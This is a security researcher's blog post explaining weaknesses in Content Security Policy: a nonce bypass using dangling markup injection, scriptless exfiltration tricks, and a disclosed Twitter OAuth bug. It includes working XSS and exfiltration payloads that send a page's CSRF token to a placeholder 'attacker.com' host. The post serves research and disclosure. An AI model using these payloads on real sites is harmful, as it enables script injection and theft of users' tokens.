It's the year 2015. Things have changed pretty quick as we have witnessed ECMAScript's version bumped from 5 to 2015. But it's not only front-end technology which has a rapid change, there are also many new proposals for client-side protection mechanism like Subresource Integrity and Entry Point Regulation that emerge in the WebSec territory. CSP, a security mechanism that tries to cover the wide attack surface on client side, has also evolved to level 2. In this blog post I would like to briefly discuss its effectiveness and gotchas with a real life example of a bypass I used in a Twitter's bug.

Did you mean Cryptographically Safe Protocol (CSP)?

No. Content Security Policy (CSP) is a declarative policy operating on browsers that whitelists content sources. I am not going to do a 101 but you may check out Dropbox's experience on deploying CSP to get a basic idea.

Panacea?

Panacea is just a fantasy. However, a well constructed policy can in fact dramatically diminish possible attacks. So how should such a policy look like? Here is a decent example from Twitter:

Twitter's CSP

Remarks:

  • default-src is set to 'none'. It is a recommended approach that turns off all the source directives that a browser supports and enables the needed ones afterwards because the supported directives differ across browsers.
  • All the sources are under the company's control (e.g. *.twitter.com and *.twimg.com), though it would be better if they only serve static content. Be careful if you allow CDN or external resources.
  • No unsafe-evil and unsafe-inline for script-src and style-src.

To demonstrate how effective this policy is, let's read a story about a related XSS:

Rough translation: Could not get this XSS running on Chrome and Firefox due to CSP. CSP is strong!

The fact is every major browser but Internet Explorer has full support on CSP 1.0. You can say most of the users won't be affected by this but there are always people stuck with IE, so let's count it as a draw.

CSP: 0.5 - Attacker: 0.5

In the future where IE vanishes, this may become unexploitable. But keep in mind CSP is a mitigation (or defense-in-depth) not a solution. Just think about DEP and ASLR where things get harder but remain exploitable.

Of course, the premise for CSP to be effective is using a correct policy. Common mistakes include overly permissive and misconfigured policy such as unsafe-inline and unsafe-evil. This is not necessarily developer's fault because some front-end frameworks will stop working if they are not present. Same goes for external resources like Google Analytics where the corresponding domains has to be whitelisted (You may see how tedious it is). It is not unsolvable but definitely requires lots of efforts for migration.

CSP 2 tries to address part of the problems by introducing nonce/hash and path matching. The former selectively whitelists inline scripts while the latter limits not only the domain but also the paths. Those are promising features but unfortunately not widely supported.

X-Content-Security-Policy

Quite often I saw reports recommending venders to add the X-Content-Security-Policy header in their apps in order to get CSP working on IE. This is a common misunderstanding.

IE only supports sandbox directive in CSP

At first glance, it looks like IE supports CSP with the eXperimental header. But a closer look reveals that the support is limited to sandbox, which is the same as iframe's sandbox attribute. In short, it won't do what you expect and might even confuse browsers when both standard and experimental headers are served.

Weaknesses

So a perfect policy means it is unbreakable? Not so much, at least in some circumstances.

Dangling Markup Injection

Before we move on, it is necessary to know a powerful tool when it comes to content injection. Dangling Markup Injection, a technique coined by Michal Zalewski, prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, so that part of the document structure is changed. The word dangling implies the markup injected is incomplete itself. Therefore to conduct an attack, the injection has to appear before the other markup you want to manipulate. I have also used this technique in a bug before.

Unexpected Nonce

As mentioned above, nonce is a new concept in CSP 2 for situations where developers cannot avoid using inline scripts. It is essentially an unpreditable random value indicated in the script-src directive, then applied as a nonce attribute to <script> elements. Only those <script> elements which have the correct nonce will execute. In other words, even if an attacker is able to inject markups into the page, the attack will be blocked by the attacker's inability to guess the random value.

Fantastic! Let's create a test-bed and beat the sh*t out of attackers!

Test-bed: http://innerht.ml/labs/csp/nonce.php?xss=potato (Chrome and Firefox only)

Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-$RANDOM'

<p>{{injection point}}</p>
<p>The quick brown fox jumps over the lazy dog</p>
<script id="in-action" nonce="{{$RANDOM}}">document.write('CSP in action!');</script>

As you can see, even though the input is completely unsanitized, there is nothing an attacker can do as he/she can neither control the domain nor guess the nonce. So is it safe enough to be in production? No.

Bypass: http://innerht.ml/labs/csp/nonce.php?xss=<script+src=//14.rs+a="

WTF? The payload (<script src=//14.rs a=") embeds a script from non-whitelisted source and lacks nonce but still executes? Let's see what the parser wants to say...

The document structure after dangling markup injection

This is what happened:

  1. The payload is a dangling markup
  2. a=" creates a new attribute
  3. What is the value for the attribute? Everything surrounded by delimiter (double quote ")
  4. The legitimate <script> gets consumed. Its nonce becomes an attribute of the payload
  5. Since now the payload has the correct nonce, it executes regardless whether the source is white-listed or not

There are also other variations besides this particular case. My not-so-promising suggestion to prevent this is to insert a HTML comment block with all possible delimiters before any <script> (or <style> if available) that contains nonce as below:

<!-- '" --><script nonce=[..]></script>

Ugly fix but what can you do. Switching to hash may be an option but it is by no means easy to implement. Also notice the above does not entirely elimiate all the risks as there are other nasty tricks out there (e.g. abuse charset to consume the markups). And... oh the scoreboard.

CSP: 0.5 - Attacker: 1.5

Content Exfiltration

So far we have only covered XSS. But what if users disable Javascript or the policy for scripting is really strong? Content Exfiltration (aka Scriptless Attack) comes in handy. The idea of this attack is to extract important content (e.g. users' personal data and CSRF token) cross-origin. In fact, it is also one of the areas CSP tries to cover.

For Content Exfiltration to work, the data usually gets sent off-site to attacker's destination with Dangling Markup Injection or similar techniques. For example:

<img src="http://attacker.com/?
<p>My secret: I hate raisins.</p>
<span class="tooltip"></span>

(the injected part is <img src="http://attacker.com/?)

After that a request is made to attacker's server with the secret data from victims. At this point it is not difficult to realize why CSP provides so many source related directives (e.g. media-src for <video> and other elements that have the ability to fetch resources). So if a site employs a strict policy that only lets certain sources (like the Twitter example) pass through, it is hard to sumggle the secret into attacker's server due to the fact that off-site requests are blocked.

An image request being blocked

Hard, but not impossible.

There is something CSP cannot cover - navigation. That is, we can use <a href="http://attacker.com/? to replace the injected part and achieve the same goal, with an additional step to lure victims to click on the link. We can even do it without user interactions with meta refresh (<meta http-equiv="refresh" content="0;url=http://attacker.com/?. Someone suggested to add such directive but it seems not much has been done. In the following real life example, I am going to uncover even more loopholes in this regard.

Updated: Mathias Karlsson has discussed with me the vector <meta http-equiv="set-cookie"> to overwrite the CSRF cookie. I will talk about this in another blog post.

Case Study: Twitter's CSRF Token Exfiltration

A trivial XSS was found some months ago. In Twitter's OAuth authorize and authenticate page, no validation or sanitization was done to the oauth_callback parameter.

Vulnerable parts

A straight XSS in two outputs, however blocked by CSP. Of course, it still works like a charm on Internet Explorer due to its lack of CSP support. But can we take it one step further?

An interseting thing about Twitter is they use a static CSRF token (authenticity_token) over the site. That means if we can extract the token, we can reuse it to perform CSRF attacks. Coincidentally, such token sits in between the two outputs. Wouldn't it be perfect to perform Dangling Markup Injection to steal it? Not so fast.

Our evil plan is to use meta refresh to circumvent the policy. This would have worked if the page itself did not contain meta refresh. The problem is after the injection, 3 meta refresh will show up: the intended redirection, our dangling markup in the first output which absorbs the CSRF token and the same markup in the second output.

<meta http-equiv="refresh" content="0;url=http://original
"><meta http-equiv="refresh" content='0;url=http://attacker.com/?>
[..]
<input type="hidden" name="authenticity_token" value="[..]">
[..]
If your browser doesn't redirect you please
<a class="maintain-context" href=""><meta http-equiv="refresh" content='0;url=http://attacker.com/?>

(the injected part is "><meta http-equiv="refresh" content='0;url=http://attacker.com/?>)

Since browsers can handle only 1 redirection, they have to pick up only 1 among the three. Some browsers use the first one and some use the last one, but never the middle one. That is troublesome because we only care about the middle one.

Now think about it: does CSP really cover all the possible ways to fetch resources? Another no.

HTTPLeaks is a project that aims to enumerate all possible ways browsers leak requests. They can be something specific to browsers, features that defined by new specifications and whatnot. The most important thing is some of them will not be caught by CSP. In the attack I used prefetch from Resource Hints.

Finally We just need to prevent the intended redirection so that our prefetch request will not be dropped. This can be done using javascript: pseudo protocol as browsers refuse to navigate to it in meta refresh. Now everything is set, and the final payload:

javascript:"><link rel=prefetch href='//attacker.com/?

Token exfiltration in action

...Hooray! Access granted. CSP: 0.5 - Attacker 2.5. Fatality.

You can find the original report from HackerOne.

Takeaway

  • A proper policy can significantly reduce the chance of XSS
  • Beware of the nonce pitfall
  • Content Exfiltration may be Achilles' Heel of CSP
  • All in all, CSP does not replace input validation